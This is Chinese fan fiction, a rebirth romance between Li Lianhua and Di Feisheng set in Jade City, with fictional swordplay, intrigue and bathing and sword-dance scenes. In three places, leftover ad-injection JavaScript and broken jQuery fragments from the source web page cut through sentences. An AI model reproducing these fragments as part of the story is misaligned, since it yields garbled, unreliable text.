《【莲花楼/笛花笛夷】谁家玉笛暗飞声》
1. 【笛花】重生玉城时1
1
做了许久背后灵的李莲花眼前一黑,突然就重生了。
不太巧,刚好重生在玉城的牢房里。
他有些疲惫地靠墙而坐,被方多病吵得不得不睁开眼。
2
哦,玉红烛还没回来,侍卫们也还没死,真相更是远远没有揭开。
人还是能救就救吧。
李莲花心里组织着即将用来说服玉红烛的语言,顺便三两句话解释给方多病这个目前还在怀疑自己的倒霉徒弟听——
关于入赘改姓,也关于多听多问。
3
一二三。
李莲花一边听着镖师说鬼,一边默默算着。
果不其然,外面隔墙隐约传来了声音,有人叫着走火了走火了。
“我们出去帮忙灭火吧。”李莲花忽然开口。
方多病惊讶地看向他,明明脸上还写满怀疑,却还是听话地拔了剑。
由此而始,便与前世泾渭分明了。
4
保住了侍卫,有李莲花三寸不烂之舌,有方小宝嫉恶如仇之剑,又有玉城护卫对玉红烛的耿耿忠心,等玉红烛匆忙赶回,真相已然“大白”。
宗政明珠无声地松了口气。
殊不知,李莲花唇角泛起了一闪即逝的冷笑。
倒是方多病瞧见这一幕,狐疑了一整天。
5
当夜,他看见李莲花悄然离开房间,自以为没被发现地跟了上去。
恰逢宗政明珠在劝慰失去至亲的玉红烛,忽闻窗外又有声响。
他自是一回生两回熟,下意识就一记劈空掌拍了过去。
“小心!”方多病见势不妙,立即挡在李莲花面前。
玉红烛、宗政明珠听见动静,便也推门而出。
李莲花噙着一如既往的笑容,平生第二次戳穿了种种虚伪与私情。
6
但与上一次不同的,除了侍卫们还没围过来,此番也未提前将密信递至监察司之外,就是他曾经宛如枯井、此刻却得以新生的心境。
李莲花瞧了瞧身畔大开眼界恨不得直呼贵圈真乱、玉二小姐死得太冤的方多病,又深深看向玉城后山方向,垂眸轻轻笑了笑。
“唰。”瞬息之间,刎颈猛然刺破气海,废了宗政明珠一身武功。
宗政明珠不可置信地看着李莲花:“你……”
“李莲花你……”方多病目瞪口呆,抬了抬手,又放下了。
李莲花再一剑一逼,手指却飞快点了玉红烛的穴道。
“你!”玉红烛怒极瞪视,然而半点声音都发不出来了。
7
“别光愣着。”李莲花敲了一下方多病的脑袋:“把他们送回房间,门和窗户都安好,我再给你解释。”
方多病紧紧盯着吻颈剑,呼吸声甚是急促:“好。”
还有外人呢,我得给师父面子。
但是,但是,怎么会是李莲花啊啊啊啊啊?!!
他心里是崩溃的。
8
李莲花有点想笑,但为了不刺激孩子,还是忍住了没笑出声。
“好了。”所以,他负手站在烛光下,一袭暗色青衣竟也熠熠生辉。
李莲花神情冷峻道:“玉红烛,金鸳盟十二凤之一,我说的可对?”
“李门主,要杀要剐悉听尊便。”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
刚被解开哑穴,玉红烛没叫没喊,只闭着眼睛:“但我什么都不会说。”
李莲花点了点头:“那就听我说,玉二小姐在后山被毒虫伤了脸。”
“可玉城是她长大的地方。”他笑着摇了摇头:“这事儿真奇怪对吧?”
玉红烛猛地睁开眼睛,但脸色已然发白。
“对了,宗政公子长得很俊嘛。”李莲花又点了点宗政明珠:“正是角大美女乐意给点好脸色的那种。”
宗政明珠瞳孔骤然变大,几乎瞬间额头见汗。
“啊……”方多病这才反应过来:“玉城……那玉城……”
李莲花用孺子可教的眼神看向他:“接着说。”
“玉城,是金鸳盟的据点?”方多病深吸了一口气:“藏着金鸳盟人的地方是……后山?”
李莲花循循善诱:“说的不错,再说点,勇敢点想。”
“……”方多病迟疑一下,才道:“笛飞声?”
李莲花含笑点头,眸光明亮而锐利,一字一顿道:“闭、关、养、伤。”
玉红烛、宗政明珠瞬间面如死灰。
9
李莲花笑而不语,一剑之后,就用扬州慢心法打发走了刚磕过拜师头的方多病。
他安静地坐在室内,任玉红烛抱着宗政明珠的尸首,缩在角落里发呆,只是想——
老笛啊,风水轮流转,这一回换我主动和你聚聚。
但愿你别太惊讶了,也希望你知道角大美女十年前干了什么之后,别气得跟上回普渡寺里听壁脚一样。
反正,我绝不会再给表妹机会,穿你琵琶骨,吊你在密室,让你遍体鳞伤、倍受折辱了。
2. 【笛花】重生玉城时2
10
六月十二,梧桐树,三更雨,一叶叶,一声声,空阶滴到明。
室内玉炉燃香,红蜡灼泪,夜长衾枕寒。
“笛飞声!”李莲花大口大口喘息着,从噩梦里清醒过来。
11
盟主?
李门主这十年该不会经常做噩梦梦见被我们盟主击败吧,这语气听着很咬牙切齿?
睡在外厅的玉红烛醒得更早,闻声缓缓眨眨眼皮,但还是一根手指都动弹不得。
12
她自然是看不见,李莲花从榻上坐起来,缓缓张开了五指。
就仿佛指尖溢满了滚烫的骨与血,浸透肌肤,刻印魂灵,永世难忘。
正是前一世最后一次瞧见笛飞声的模样,突破悲风白杨第九层被心魔所扰,强劲猛烈的内力不再护主,反而摧毁了经络心脉。
飞溅的骨血烫得魂魄都要战栗,却又有新的仿若超脱真力范畴的力量灌输而至,护着他刺破虚无,在时光的乾坤倒转中坠回喧嚣人世。
原来,武道极限真能破碎虚空,但若趁机回到过去,必然代价惨重。
“交给你了。”耳畔是那人垂死之际依然坚毅沉着的嗓音。
13
李莲花的视线飘忽了好一阵子,总算因敲门声缓过神来:“莲花!”
“开门,我给你送早膳来了!”是打着伞的方大少气喘吁吁赶了过来。
知道李莲花就是李相夷,又被卷进了十年前的旧事,他顾忌安危生死,身边不敢再带着一无所知的离儿。
当然,李莲花要求他一切从前,别在人多眼杂的地方喊师父,更让他松了口气,对着李莲花那张过于年轻又狡黠的笑脸,可实在喊不出来。
14
“为师甚是欣慰啊。”李莲花开门接过饭食,微微上扬的眉眼却暗含锋利:“都准备好了吗?”
方多病郑重其事地点了点头,递给他一堆解毒的药物与暗器,还有一件鲜艳的红衣,才问道:“你真要一个人去后山,不能带我去吗?”
“不带。”深知便宜徒弟没长大前是什么性子,李莲花可不打算和上辈子一样纵着:“万一我和笛飞声打起来,你躲都躲不掉。”
老笛出手刚猛,现在的方多病一招都接不住。
“对了,这个拿去学。”李莲花把画着婆娑步的纸拍到徒弟脑门上:“不求打得过,但求你以后闯祸能及时溜走,别把为师供出去就行。”
说罢,他咔擦一声关了内室的门,徒留方家小狗在外厅酷似狐狸精般嗷嗷嘟囔。
好在方多病还是挺乖的,虽不耐烦,但还是一边吃饭一边给囚徒喂饭。
15
等李莲花出来,看见的便是一个面无表情但吃饱喝足的玉红烛了。
他提着她的肩膀,很注意不蹭挨着,脚步轻盈灵巧地进行一番婆娑步教学演示,顺便丢下追不上的方多病,直奔后山石窟。
“药魔的生死障啊。”不多时,李莲花已至生死瘴前。
在玉红烛一言难尽的眼神里,他为自己换上了鲜艳绚烂的门主战袍。
16
孔雀开屏。
玉红烛一瞬间好似回到了十年前,那个热热闹闹、大家都还在的金鸳盟,他们私底下也会讲些小话。
比如,四顾门惊才绝艳的少年剑神一天到晚打扮得漂漂亮亮,剑法又惊艳绝美,跟个孔雀一样到处开屏比美,偏生自家尊上还就喜欢缠着人家去比武。
“……”被点哑穴的玉红烛被迫沉默着,轻轻闭上眼睛。
花有重开日,人无再少年。
这一次的李门主,恐怕不会像过去那样,哪怕她们离得很远都能看出是笑着应下尊上的出招,也笑得灿烂地赢下一场场,从头到尾没有半分杀机了。
17
“轰隆。”她再次睁开眼睛时,看见的就是药魔和无颜被一巴掌拍飞的场面。
但很难说李门主和药魔没有一点私人恩怨,因为只有药魔被吸了回来,遭李门主掐住了脖子:“好久不见啊。”
上辈子就想揍了,可那个时候耗费内力不太划算,现在就不一样了,李莲花从药魔怀里拨拉出了所有瓶瓶罐罐和蛇虫毒物,顺口问了无颜一句:“角大美女过几天会来?”
无颜仅仅犹豫了一个呼吸,就在药魔颈间被收紧的动作中,毫不犹豫卖出了角丽谯的讯息:“回李门主,大概三日后。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“好的。”李莲花笑着点头,把他、玉红烛、药魔一起提溜着,飘然入了石窟深处。
18
救命啊尊上你快点醒!甬道尽头已然在目,收获了玉红烛同款点哑穴的药魔苦不堪言地阖眸。
唯一没被点哑穴的无颜若有所思,看了看李莲花身上的战衣,安分地静默着。
就在玉红烛、药魔以为刀剑相撞的巨响即将震彻当场,或许还会伴有被刎颈刺入血肉的声音时,李莲花如春风化雨,悄然落在笛飞声背后。
细而密的眼睫毛轻不可见地动了动,人却没有挪动半分,即便李莲花两只手甩出几个累赘的同时,便重重砸中他的后背。
“守心而发,发则不达,达者不惘,是为气理……”金鸳盟的几人慢慢张大了嘴巴,他们自然听不见李莲花的传音,但看得见嗡动的嘴唇与流淌的扬州慢内力。
19
惊得时间长了,被丢在一起的三人便发觉束缚自解,可不远处的疗伤还没结束。
“活久了……”药魔忍不住叹了口气:“还真的什么都能看见。”
李门主竟把扬州慢心法传给了盟主,还亲自为盟主疗伤!
玉红烛是女子,情感更丰富些,神色更是惘然:“那十年前又是何苦!”
“或许……”无颜迟疑一下,想到刚才李相夷提及圣女角丽谯时微妙的表情,心头漫上了怀疑。
20
就在此刻,伤势大好的笛飞声陡然抬眸,转身一把抓住了李莲花意欲收回的双手:“李相夷!”
“别来无恙啊,笛盟主。”李莲花挣了挣,没有挣动,便顺势倒向了笛飞声。
他颈间、手背等血管肉眼可见漫上不祥的青碧色彩,一口血“噗”地洒满笛飞声的衣襟,都还不忘贫嘴一句:“哎呀啊呀,见笑了见笑了,这衣服不用赔吧,我现在可身无分文呐。”
“……李相夷!”李莲花亲眼看见笛飞声睁大了那双睫毛浓密而莫名显得情深的眼眸,惊忧难以掩饰。
他忍不住笑了一声,想安慰却又吐了一口血。
而在毒发昏过去之前,李莲花忽然意识到,自己完全忘记告诉笛飞声,他改名字了。
3. 【笛花】重生玉城时3
21
“药魔!”无颜看着自家盟主难得慌张的样子,再看着一身红衣倒在尊上怀中的李门主,突然就幻视了经常对尊上投怀送抱的圣女角丽谯,还怎么看怎么相似。
不会的吧,就凭肖紫衿十年没被打死,李门主对乔婉娩就恐怕是旧情难忘才忍了情敌撬他墙角,又有什么理由勾引尊上?
无颜被自己无意识想到的“勾引”吓了一跳,心里对亵渎剑神名誉飞快道歉,并摒弃杂念上前帮忙:“尊上,您的悲风白杨太刚烈强劲,李门主剧毒加身,气海经脉怕是都……都受损了,受不住强输内力的。”
“对,尊上且慢转内功。”药魔已握住李莲花另一只手把脉,在笛飞声冷眼下死道友不死贫道:“这是碧茶之毒,已有十年了。可十年前有资格从我这拿到碧茶之毒的,唯三王、无颜护卫与十二护法。”
22
英雄末路,任谁都要惋惜,连玉红烛都叹了口气:“不,还有角丽谯。”
“碧茶之毒虽在我盟扩张时大肆使用过一阵,在江湖上有莫大名声,但每次取用都有记录,只失窃过一回,我们十二人搜查过却无线索。”她解释道:“紧接着东海之战爆发,您重伤闭关,雷火炸盟使得损失惨重,才让角丽谯趁机夺权。”
无颜补充了一句:“但事后角丽谯自封圣女,管理雷火的两位使者虽有嫌疑却仍居高位,再加上……”
他看了看羞愧低头的玉红烛,呐呐不言了。
“属下有罪。”玉红烛坦然请罪:“当时三王被抓,十二凤仅余属下,同无颜护卫独木难支,江湖中又没人再中碧茶之毒,可角丽谯确实率众寻您下落又到处搜罗灵药为您养伤,此事便没有再追查下去。”
他们是真的没想到,无人毒发,是因为毒早就被下给了尊上心心念念的对手。
23
“仅凭你们所说这些,断定不了是角丽谯所为。”笛飞声纵然怒极,也没有失去理智。
想到多年前在笛家堡乃至西南地区流浪的旧事,金鸳盟盟主眸光深邃冷冽:“但中原门派少有圣女之称,倒是擅长毒蛊的西南异族常用。”
无颜、药魔、玉红烛俱是一惊。
他们因是魔教不与江湖大众同流,还真忽略了这个称呼本身可能存在的问题——
圣女之于一方势力,要么似西南异族尊奉大祭司,要么是一派之主立独生女为继承人。
可角丽谯既不是金鸳盟的继承人,金鸳盟也并无祭司之位,那她背后会是什么呢?
24
一念之间想了许多,笛飞声低头去看李相夷不复十年前活泼健康的脸,咬牙道:“无颜,你秘密召集盟中确定还能为本尊所用的旧人来此,切记不可被角丽谯察觉。”
“是。”无颜答应的干脆利落。
好在怀中人的呼吸渐渐平稳,可怖的碧色稍稍退去,笛飞声总算松了口气,冷声继续发号施令:“药魔、玉红烛,你二人布阵,三日后待角丽谯一来,直接拿下。”
“是。”两人赶忙应命,又觉无颜可能还要领隐秘任务,便退了出去。
玉红烛甚至没忘记问一句:“尊上,可要从我玉城宝库多取些灵药?”
“药魔。”笛飞声瞥了药魔一眼。
药魔一个激灵:“需要,属下这就去分辨。”
“等等……”玉红烛扒着石洞边缘:“尊上,李门主还收了个徒弟。”
笛飞声终于抬眸:“有几年扬州慢功力?”
“不,此子刚学。”玉红烛实话实说:“但出生天机山庄,背景颇深,想必可以利用一二……嗯,利用来为李门主寻药。”
笛飞声冷峻的神情顿时放缓:“此事就交给你了。”
“是。”确定自己不会因被李门主挟持找过来一事持挂落了,玉红烛火速消失在原地。
25
见没有外人了,无颜当即道:“尊上,李门主十年前喜好奢华,石洞环境简陋,恐有所苛待,您不如……移驾玉城?”
也洗漱打理一番,不然抱着李门主的样子,看着实在奇怪的很。
“给玉红烛半日时间准备。”笛飞声想了想,抱着李相夷去了石洞最深处他闭关时偶尔休憩之处。
那是一方温玉所制的玉床,透亮的玉面触及是温热的,躺上去很舒服。
不用笛飞声交代什么,无颜已跃到隔壁洞穴,从布匹下翻出了金鸳盟送来的崭新被褥和内外衣衫。
“尊上,都是您的尺寸……”无颜欲言又止。
笛飞声头也不抬,把人往被窝里一塞,掌风一转,将己身内力放出。
悲风白杨刚猛无比,此时此刻却被主人用以取暖了。
26
“唔……”寒毒得以缓解多时,又到了个舒适寝处,李莲花低吟一声,眉宇间释出些许舒朗之意。
但他睁开眼眸的第一句话就是戏谑之言:“笛盟主,你的待客之道,就是不让客人沐浴更衣,直接送进被窝里?”
“李相夷,十年了。”笛飞声抱臂道:“你的洁癖还没好是吧。”
闻言,无颜默不作声地出石洞打水去了。
“不然呢?”李莲花理所当然地伸出手:“衣服都给我。”
笛飞声兜头丢了过去。
“粗鲁。”李莲花啧啧摇头,把好几件里衣从头上扯下来,一件又一件辨过:“怎么都是红的,你不是不喜欢吗?”
笛飞声哼道:“有的穿都堵不住你的嘴是吧。”
“我看你是以为我死了才穿红的悼念我吧。”李莲花甩了甩衣服:“都是我穿过的款式啊。”
上辈子他可是成了背后灵,才发现老笛这个秘密的。
27
“尊上,李门主,水来了。”无颜回来很快。
笛飞声无端地有点感激他出声的及时,才没让李相夷继续调笑自己。
不过,为什么水是凉的?
当然是让您亲手做也让李门主亲眼看见啊!无颜恨铁不成钢,不得不将暗示换为明示,直接把满水的桶放在了自家尊上面前。
“你可以出来洗了。”笛飞声下意识用悲风白杨为李相夷热了洗澡水,完全没察觉到李莲花垂眸间一闪而逝的了然与忍笑之色。
28
但他并没不忘记赶人:“无颜,你去通知玉红烛,本尊今晚带李相夷下榻玉城。还有,等角丽谯被拿下,你就顺着她背后这条线细查,万不可打草惊蛇!”
李莲花掀褥下床,为无颜说了一句公道话:“老笛,你自己听听想想,无颜也太忙了吧。”
“是,尊上。”无颜笑着行了两个相同的礼:“多谢李门主关心了,尊上这也是暗夸属下能者多劳嘛,是无颜之幸。”
李莲花瞥了眼笛飞声满意的表情,心想怪不得无颜最后能成为金鸳盟的下任盟主。
29
然后,等无颜一走,他就背对笛飞声,大大方方脱光了衣服:“老笛,我刚刚好像吐血在你身上了吧?”
“嘶,真舒服。”在笛飞声无意识耳尖发烫、移开视线时,李莲花已抬腿迈入浴桶,似不经意道:“这水很热,桶也挺大,你要不要一起?”
他想,无颜不一定看破了自己对笛飞声的心思,但绝对是早就知晓了笛飞声本人可能都没明白的心意,才屡屡搞这些蛮有意思的小动作。
30
一起洗?!
笛飞声瞳孔地震,视线登时转了回来。
入眼是白如莲藕的腰身与瀑布般洒落的黑发,李相夷还弯腰舀水:“哟,无颜真贴心啊,还准备了洗发的舀子。”
“老笛你愣什么,我这头发太长了,有人帮忙搓最好。”他抱怨道:“你还说我洁癖,这不是以前内力深厚不怕浪费嘛,现在倒是由奢入俭难了唉。”
李相夷回过头:“啊对了,以后叫我李莲花,我改名了。”
笛飞声冷冷颔首,偏过头道:“知道了,李相夷。”
“……你故意和我对着干是吧。”李莲花哭笑不得:“行,你爱怎么喊就怎么喊,人前可别泄露我身份。”
笛飞声这才看向他:“怎么,怕自己落魄的事情被手下知道?”
“手下?”李莲花抬眸,似笑非笑道:“你闭关十年怕是根本没注意四顾门的情况吧。”
笛飞声淡淡道:“没你李相夷,四顾门什么都不是,不值得本尊侧目。”
“没有人找我。”这一世,李莲花不打算再隐瞒,他也完全改变曾经的想法:“四顾门解散了,我的心血大多白费,只剩下个刑堂百川院。”
31
笛飞声的目光仔细地盘桓在李相夷脸上。
热水激起的雾气模糊视线,但仍然能瞧出那份无坚不摧的坚定。
“你并不伤心。”笛飞声忽然道:“你另有打算。”
李莲花笑了:“李相夷是神,神不能活着。李莲花是人,人能做更多事情。”
“笛飞声。”他趴在浴桶上,抬眸看着这位生死之交的宿敌:“你是我的见证人。”
笛飞声轻轻靠近几步,居高临下看着他:“何意?你要立个五顾门,请本尊出场剪彩?”
“意思就是……”李莲花笑盈盈说着,突然抬臂扣向笛飞声的手腕。
32
方寸之间,他们交手的速度快如霹雳。
但到底是有心算无心,待笛飞声发觉李相夷玩笑般的目的不在于交手,已是猝不及防,整个人扎进浴桶里,浑身都湿漉漉了。
“啪。”温热的手掌轻轻一掌拍在他后脑勺,不是打,更像是抚摸与逡巡。
这令笛飞声整个人僵硬了,连嗓音都高了几调:“你做什么?!”
“找痋虫。”李莲花轻描淡写揭开他最大的隐秘,指甲悄无声息刺破自己手指,将一滴血滴在那处。
无果。
他有点失望,看来笛飞声体内痋虫虽能被子痋所食,却并非南胤一脉:“抱歉,我确实解决不了……唔。”
是一只手探过来,紧紧卡住李莲花的脖颈。
那道如山岳般高大的身影随之覆了过来:“李相夷,你怎么知道的?!”
33
“我查过你。”李莲花含笑答道。
他们挨得很近,近到能听见彼此压抑的鼻音。
魔教金鸳盟盟主,有一双极为蛊惑的瞳眸。
那艳烈灼烧的眸子烙过来时,曾经年轻的正道剑
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
神仿佛跟着活了过来。
“笛盟主,若要人不知,除非己莫为。”他唇角笑意更深了:“你该不会觉得,笛家堡派人刺杀你的事情,在金鸳盟成立后还是秘密吧?”
有多少人想挖出笛飞声的身世与经历,从中挖掘这个魔头可能的软肋。
34
“是你……”笛飞声后知后觉,凝眉松开了手。
他建金鸳盟是比四顾门早几年,但前面几年名声不大,后来如日中天,得罪既得利益者无数。
“师兄……”李莲花憋住了心底的仇恨,才没当场因为这个词吐出来:“联合江南七大漕帮想断金鸳盟财路被我屏退,当时盯得紧,发现有人相助漕帮,我好奇是谁敢摸你虎须,亲自过去查探了一番。”
之后若非顾忌着笛家堡的痋虫诡术,又不想让事态扩大,让笛飞声有可能被痋虫控制一事广为人知,还念着以笛飞声的脾气大概更乐意亲自报仇,他早就闯堡杀人了。
不过,彼时李相夷年轻气盛,到底还是出了手。
他杀了多个笛家堡在外的刺客,尸体丢进家主房间,方遏制了笛家堡想动手的趋势。
35
这期间自然不是没人发现。
但没有闹到笛飞声面前,便是知晓一点内情的金鸳盟三王的功劳了。
他们联手保护年纪轻轻的盟主,希望他在成长起来之前,这个隐患不会暴露,与李相夷不谋而合。
36
“……我承你一情。”如今,面对盈满笑意的眸,笛飞声干巴巴道。
他的指尖扣上桶壁,想要翻出去。
“那就帮我洗头啊。”李莲花却把手心覆上了他滚烫的手背。
另一只手亦紧随其后,递上了香膏,彻底阻止笛飞声跳桶而逃。
李莲花闭上眼睛:“涂在头上……啊,无颜真好用,竟还记得我喜欢什么味道。”
37
笛飞声沉默了一下,在听话帮他的同时,也忍不住争辩道:“李相夷,不是无颜,是我记得你的喜好!”
“哦?”享受着笛盟主指间厚实刀茧小心翼翼搓揉头发的舒适摩擦感,李莲花靠在他胸膛上,只隔了几层湿透的衣衫。
笛飞声面无表情道:“雷火炸盟,许多旧物毁于一旦,但也有幸免的。我伤势好转能起床前,就让无颜把你常用的都送过来了。”
他瞧着怀中人亮起的眼眸,把后面半句“我打算等伤势好透祭奠你的时候烧掉”吞回了喉咙。
38
“你真好。”李莲花理所当然夸奖道:“要是记得在外人面前改口叫我李莲花,就更好了。”
笛飞声不吭声了。
笛飞声加重了搓洗头发的力道。
笛飞声在李莲花唉唉啊啊痛叫发根被拽疼了的声音中再次放缓力道。
最后,李莲花洗了个舒服极了的澡,伸个懒腰跨出去擦身换了新衣,而笛飞声疲惫地泡在桶里,瞧着那宽大到露出一节雪白藕臂的、原本属于自己的衣摆,只觉得比东海一战还累。
39
原以为自己已然天下第一,却知晓自己还是天下第二,又得知自己所欠的债,笛飞声胸口这股莫名的恼气,肯定是得撒出去的。
“轰隆。”于是,三日之后,带着雪公、血婆欣然来迎尊上出关的角丽谯,穿着她觉得最美的衣裙,仅仅一刀,就倒在了她此生挚爱身前。
这群人,除了被特意留下一命的角丽谯,现场再无活口。
40
恼了好几天又发泄不了的笛飞声,一刀之后见叛徒的血流了遍地,深深突出一口气,心情大好。
“尊上……为什么……阿谯…阿谯到底做错了什么?!”染血的指尖触上袍脚,角丽谯眸中几欲流出血泪。
笛飞声低头看着她,认真而冷肃道:“碧茶之毒,李相夷。”
李相夷要是没中毒,就不会变成现在这个更难缠还不能揍的李莲花,也就不会如此牵动自己的心神,比十年前更甚。
“李相夷……他还活着?!”角丽谯的声音陡然尖利:“他又教唆我们的关系是不是?!从风凌剑派之后,尊上您就不理阿谯了,他该死!”
笛飞声掸开她的手指:“关起来,查清楚再处置。”
41
“尊上……尊上……阿谯都是为了您啊……”角丽谯的声音半途而止,怨毒的目光瞪向面不改色的无颜。
他用红绸封住了角丽谯的嘴,正欲把人拖走。
42
“等等……”笛飞声叫住无颜:“这红绸……”
无颜停下脚步,看了看角丽谯,才道:“李门主说要舞剑给您当谢礼,还要备酒。”
“今晚?”笛飞声眸色一清。
无颜给了肯定答复:“今晚,后山最高处。”
“备最烈的酒。”笛飞声看都不看角丽谯一眼,施施然走了。
43
无颜摇了摇头,对目眦欲裂的角丽谯道:“圣女,天涯何处无芳草,何苦啊。”
角丽谯继续目眦欲裂。
“你的人现在这个点也该被扫完了。”他便只能叹息一声,把人关入玉城地牢:“你就老实点吧。”
4. 【笛花】重生玉城时4
44
笛飞声提着烈酒找到李莲花的时候,是有些惊讶的。
李相夷从来不做知心哥哥,更不会温声细语开导谁。
“擦擦吧,玉夫人?”他却将手帕递给流泪的玉红烛,嗓音极是柔和:“或许,你更喜欢我叫你玉姑娘。”
李莲花轻轻叹了口气:“武林虽已比世家大族多了些自由,但依旧存在男尊女卑。你为长女,必须成亲才可执掌门庭;你妹妹可分得财产,却并无实权。是以,十多年前你入金鸳盟,是因当时只有笛飞声完全视规矩如无物。”
老笛不杀女子,但金鸳盟除了最早和他一起创业的三王、无颜,身居高位之人合组十二凤,便已证明了他的用人之道只在能力、而非性别。
“多谢李门主……见笑了。”玉红烛哑着嗓子道:“我对不起秋霜。她喜欢来后山,是因为十年前我归家她还年幼,为了练功管她很严,又不想她太闷,经常带她来此处看月亮。”
所以,她今夜刚好也来故地游荡,想给妹妹烧一下纸钱,却越想越痛。
45
李莲花抬眸瞧了瞧竹林与月色。
这后山最高处确实很雅,清风抚过竹叶,发出簌簌的清音。
而李莲花并不知道,此时此刻此地,洒落的月光为他披上一层霜华,玉颜上的柔和恍如天上月,光晕平等地洒落于地,温柔了每一个人。
笛飞声静静看着这一幕,心头突然就有些难明的涩意。
月色是柔软的,但抚过时也不会停留,正如现在言辞和宁却也淡漠的李莲花。
46
“你爱玉秋霜,但不够爱。你更爱峥嵘岁月与自由人生。”他直白道:“你看不上丈夫,并非因他入赘,而因为他是你不得不选的果实,是你身不由己的象征。”
李莲花顿了顿,又道:“你喜欢宗政明珠,也不是真的喜欢,更因为他来自金鸳盟,是你过去欢欣岁月的旧影。”
“当然,这和我没什么关系。只不过,看见美人月下垂泪,但凡是个男人,都会安慰两句。”他缓缓转身:“再者,我也不觉得宗政明珠值得托付。”
李莲花以局外人的漠然态度道:“玉城到底是你的地盘,他在你城里为了私情之秘肆无忌惮出手,本就意味着他打心眼不把你当同路人。”
“真有情有义,抓住你丈夫的弱点逼他主动和离,再以都是青梅竹马谁都行为由置换联姻对象,充其量跪几天祠堂不就定了?”他语气轻快地安慰道:“所以说,这种没担当的男人,当断则断。你坐拥一城,三条腿的蛤蟆不好找,两条腿的男人还不好找吗?”
47
玉红烛一时间无言以对,只能怔怔地看着李莲花。
从这一番惊世骇俗的不羁言论里,她又一次看见了十年前桀骜不驯的剑神傲骨。
“哦,我等的人已经到了,便恕我不奉陪啦。”李莲花忽然一笑,将手肘一抖,刎颈脱手而出。
47
那一霎,剑光如惊鸿跃过山峦,穿云破雾似的刺破了重重月光。
“唰!”竹叶自四面八方飘落,青翠中点缀着夜深的露珠,在月晕下闪闪发亮。
又似漫天星子落在剑尖,在行云流水的劲舞中扬起漫天飞絮,显得那白衣的身影轻灵似仙狐。
笛飞声只见丝绸织成的袍身旋转弹跳,在半空摇摆出绿波荡漾的藻纹,晶亮纯澈的眸子偶尔投来目光相碰,令他不自觉战栗着挺直了腰背,迎接两束含着狡黠笑意的眸光。
48
“……”玉红烛看了看正在剑舞的天下第一,再看看盟主眼中尽是他自己体会不到的惊艳,默默又默默地往后退去。
她全程都很小心,没踩到一根枯枝落叶,发出任何一声杂音,生怕扰了这一场盛大的告白。
直到篝火燃尽,舞终人散,玉红烛才一个踉跄险些跌下山去——
“比江山笑那一夜的醉如狂三十六剑更锋利了。”她听见笛飞声喑哑的嗓音:“李相夷,你这新招光用来舞剑,有些大材小用。”
现场是一片比死寂更沉寂的沉默。
玉红烛原地蹲下来,几乎要代替浪漫的剑神捂住无语凝噎的双眼。
救命,难道是因为高层除了四象青尊、两仪仙子都是单身的报应,才让盟主三十了都不开窍吗?!
离她更远一点,树上蹲了好久的无颜正同步捂脸。
49
其实,舞完剑落在笛飞声对面的李莲花,远比他们想的冷静。又或者说,是他太了解笛飞声了,一瞬便听懂了言下的问询之意。
“你倒是敏锐。”李莲花敛去这一舞酣畅淋漓的笑意,抬脚一步步走向山顶险峰。
笛飞声皱起眉头,本能伸手扶了他一把:“夜深,小心脚滑。”
“没事。”李莲花最后抚摸了一下刎颈,重重投掷出去。
笛飞声凝眸看着,思忖起适才那一曲锋利剑舞中隐藏很好的杀意,将他拉到身畔:“若此剑有问题,直接毁了便是,何必费劲……告别?”
50
因为我变了。李莲花回眸看着笛飞声。
暗藏嫉心沾染无辜者鲜血的利剑,美丽却杀意深藏的剑舞,隐藏真实、意欲改天换日而这途中怕是少不了流血的我。
到底是老笛了解我,看出了这是告别,甚至看出了是我对自己的告别。
“李相夷,断舍离已自如。”笛飞声扣住李莲花的手,往山下走,一步一个脚印,走得稳妥又安定:“李莲花,出不染濯不妖。”
他的语气很通透:“既下定决心,那结局只有通通做到才知道,不必犹疑。”
51
“哈哈哈。”到底是曾经十五岁就天下第一的武林魁首,前世业障的困扰在瞬息之间堪破,李莲花捏紧的指尖乍然松开。
他唇角笑容依旧,可眸色亮得惊人:“老笛,你这么通透该去普渡寺辩辩经,人家都说一念佛一念魔,你要是剃度说不定以后能当方丈!”
“拔剑。”笛飞声神色不变,只拔刀砍了一根竹子,塞进李莲花手里:“都不用内力,你打赢我,我就去普渡寺找无了,我记得你们关系好。”
李莲花摇头晃脑:“不打不打,今夜剑舞就够累了,我们去喝酒吧。”
他一把抢过笛飞声还拎着的那坛烈酒,脚步飞快地蹿了出去。
52
清朗的笑声还在月夜竹林中回荡,而风中送来了少许真心真意的咕哝。
“老笛,有没有人告诉你,你有时候好好一个人怎么就长了一张嘴?”
“谁敢?”
“我!”
“嗯?”
“碧茶毒发我怀疑过你……别黑脸掐我脖子打岔!怪你自己好吧!我毒发的时候你刚好说什么来着,一个剑客不该有弱点,带他们来送死的滋味如何!着能怪我以为你下毒还拿尸体引我跳陷阱被杀吗?你这嘴长了还不如不长!”
“……哼。”笛飞声迟了好几个呼吸才轻哼了一声,却是没有反驳,而是紧随其后,追得寸步不离。
53
等他们离得老远了,无颜才跳下树,正好砸在玉红烛前面。
“谁?”玉红烛吓了一跳,看清楚倒是松了口气:“哦,是无颜护卫啊。你刚才也在,听懂了吗?”
无颜神情微妙:“没有,但尊上肯定听懂了李门主在说什么。”
“那就一切如常。”玉红烛大步向前:“我只需听令就行。”
无颜追在后面,又道:“可我还是觉得,就算李门主另有意思也还是有些浪漫在里面的,尊上这只注意隐意的样子,李门主怕是会恼了。”
“我知。”玉红烛了然颔首:“我去亲备解酒汤。”
随便拼酒随便醉,保管第二天日上三竿睡醒不头疼。
两人都很明智,完全没提李相夷对当年那一战中对笛飞声胡乱说话、引人误会的抱怨。
54
夜深人静,酒意正酣,与李相夷拼酒从不用内力逼出的笛飞声醉了也睡了。
“咳咳。”李莲花却披了这几日新送来的玄狐裘,轻咳着出了房间。
早前接到字条的方多病早就等急了,见他出来才跟了上去:“你咳嗽这么狠还要亲自去吗?”
“不然呢?”李莲花反问一句:“你认得出药魔园子里的毒物和药材,你确定自己不会中任何一招?”
方多病苦着脸道:“这……这也要学吗?”
“要。”李莲花忍笑拍了拍这小子的后脑勺:“你不是要当李相夷的弟子吗,那总得和为师一样博闻强识、经验丰富吧?”
方多病咬咬牙:“是,我一定学。”明天就让山庄送书来从头学!
李莲花暗暗点头。
55
